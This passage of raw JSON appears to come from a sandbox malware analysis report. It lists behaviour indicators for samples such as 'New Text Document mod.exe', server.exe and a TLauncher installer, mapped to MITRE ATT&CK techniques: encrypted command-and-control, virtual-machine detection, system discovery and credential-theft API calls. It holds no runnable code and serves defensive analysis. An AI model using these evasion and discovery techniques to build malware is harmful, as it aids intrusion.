Related","name":"Shows ability to obfuscate file or information","description":"$30","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - Cyclic XOR decryption routine for 64-bit samples\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$31","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002000-00000C2B-3201629587\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system file/directory information (.NET)","description":"Observed dotnet function \"EnumerateFiles\" in \"server.exe\"\n Observed dotnet function \"GetFiles\" in \"server.exe\"\n Observed dotnet function \"GetDirectories\" in \"server.exe\"\n Observed dotnet function \"EnumerateDirectories\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":3,"id":"static-200","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002000-00000C2B-3201629587\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"00000000-00000968.00000000.272733.00401000.00000020.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00000968.00000000.272733.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"elf.exe\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"sup.exe\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"sys.exe\")\n Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain MAC address in .NET file","description":"Observed retrieval of MAC address \"System.Net.NetworkInformation.GetPhysicalAddress\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-216","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus\" (File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"elf.exe\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"sup.exe\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"sys.exe\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; File: \"New Text Document mod.exe\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"ystem.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00001088.00000000.271453.039B0000.00000002.mdmp\")\n Found string \"System.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00001088.00000000.271453.03C10000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"NewTextDocumentmod.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"NewTextDocumentmod.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"NewTextDocumentmod.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Calls APIs used for find file/directory path","description":"Observed import api PathFindFileName (Source: BrowserInstaller.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-183","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"NewTextDocumentmod.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"irsetup.exe\" called \"IsWow64Process\" with parameter \"5524\" - (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"NewTextDocumentmod.exe\" called \"EnumWindows\" with parameter \"19914128\" - (UID: 00000000-00002000)\n \"TLauncher-Installer-1.9.4.exe\" called \"EnumWindows\" with parameter \"62977876\" - (UID: 00000000-00001088)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"irsetup.exe\" called \"GetWindowTextW\" with parameter \"Initializing...\" - (UID: 00000000-00005524)\n \"irsetup.exe\" called \"GetWindowTextA\" (UID: 00000000-00005524)\n \"irsetup.exe\" called \"GetWindowTextW\" with parameter \"Search for the current version of the TLauncher...\" - (UID: 00000000-00005524)\n \"irsetup.exe\" called \"GetWindowTextW\" with parameter \"Already finishing...\" - (UID: 00000000-00005524)\n \"random.exe\" called \"GetWindowTextA\" with parameter \"%PROGRAMFILES%\\(x86)\\Company\\NewProduct\" - (UID: 00000000-00000968)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"irsetup.exe\" called \"GetActiveWindow\" (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"NewTextDocumentmod.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$3b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$3c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"irsetup.exe\" called \"LookupAccountSidA\" (UID: 00000000-00005524)\n \"irsetup.exe\" called \"LookupAccountSidA\" with param Name %OSUSER% (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"irsetup.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"irsetup.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"$3d","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00001088-23227-4427-00DE24D4\n GetTickCount@KERNEL32.DLL at 00000000-00001088-23227-6418-00E483EE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00001088-23227-952-00D5EE42\n FindFirstFileA@KERNEL32.DLL at 00000000-00000968-33623-452-00405B78\n FindNextFileA@KERNEL32.DLL at 00000000-00000968-33623-472-00405BA0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"Found reference to API \"FindFirstVolumeA\" (Indicator: \"FindFirstVolume\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetVolumePathNamesForVolumeNameA\" (Indicator: \"GetVolumePathNamesForVolumeName\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetVolumePathNamesForVolumeNameA\" (Indicator: \"GetVolumePathName\"; File: \"New Text Document mod.exe\")\n Found reference to API \"FindNextVolumeA\" (Indicator: \"FindNextVolume\"; File: \"New Text Document mod.exe\")\n Found reference to API \"FindVolumeClose\" (Indicator: \"FindVolumeClose\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"New Text Document mod.exe\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"New Text Document mod.exe\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function \"GetEnvironmentVariable\" in \"server.exe\"\n Observed function \"SetEnvironmentVariable\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information (Dotnet)","description":"Observed function \"get_UserName\" in \"server.exe\"\n Observed function \"get_SystemDirectory\" in \"server.exe\"\n Observed function \"get_Is64BitOperatingSystem\" in \"server.exe\"\n Observed function \"get_MachineName\" in \"server.exe\"\n Observed function \"get_OSVersion\" in \"server.exe\"\n Observed function \"get_Version\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to get active window titles (Dotnet)","description":"Observed Namespace \"System.Diagnostics.Process\" and MemberReference \"get_MainWindowTitle\" in \"server.exe\"\n Observed Namespace \"Pulsar.Common.Models.Process\" and MemberReference \"set_MainWindowTitle\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1010","relevance":1,"id":"static-148","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00001088-23227-1118-00D64D98\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00001088-23227-1173-00D64EE1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001088-23227-2624-00E454D0\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001088-23227-6363-00E4550C\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001088-23227-6418-00E483EE\n FileTimeToSystemTime@KERNEL32.DLL at 00000000-00000968-33623-422-00406738\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00000968-33623-449-0040677C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001088-23227-2624-00E454D0\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001088-23227-6363-00E4550C\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001088-23227-6418-00E483EE\n GetLocalTime@KERNEL32.DLL at 00000000-00000968-33623-424-004066D0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00000000-00001088-23227-1134-00E4E0CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00001088-23227-600-00D5AD35\n GetVersionExW@KERNEL32.DLL at 00000000-00001088-23227-6673-00D63D62\n GetVersionExW@KERNEL32.DLL at 00000000-00001088-23227-7182-00D9CFB5\n GetVersion@KERNEL32.DLL at 00000000-00000968-33623-76-0040D470\n GetVersionExA@KERNEL32.DLL at 00000000-00000968-33623-829-00405E08\n GetVersion@KERNEL32.DLL at 00000000-00000968-33623-923-00404514","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.DLL at 00000000-00000968-33623-631-0040443C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00000000-00001088-23227-119-00D51DF8\n GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00000968-33623-829-00405E08","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve current user details (Dotnet)","description":"Observed Namespace \"System.Security.Principal.WindowsIdentity\" and MemberReference \"GetCurrent\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-152","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00001088-23227-6367-00E45DE9","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetDynamicTimeZoneInformation\" (Indicator: \"GetDynamicTimeZoneInformation\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network adapter information (Dotnet)","description":"Observed namespace \"System.Net.NetworkInformation\" and TypeReference \"NetworkInterface\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-137","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00001088-23227-1489-00E3D374\n GetTextCharsetInfo@GDI32.DLL at 00000000-00001088-23227-2033-00D63735\n GetKeyboardLayout@USER32.DLL at 00000000-00001088-23227-2197-00D7F2FF\n GetKeyboardLayout@USER32.DLL at 00000000-00001088-23227-2200-00D7F274\n GetKeyboardLayout@USER32.DLL at 00000000-00001088-23227-3514-00E0B6A6\n GetUserDefaultLangID@KERNEL32.DLL at 00000000-00000968-33623-264-0041AA38\n GetKeyboardType@USER32.DLL at 00000000-00000968-33623-925-00402C14\n GetKeyboardType@USER32.DLL at 00000000-00000968-33623-1194-00402C0A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"New Text Document 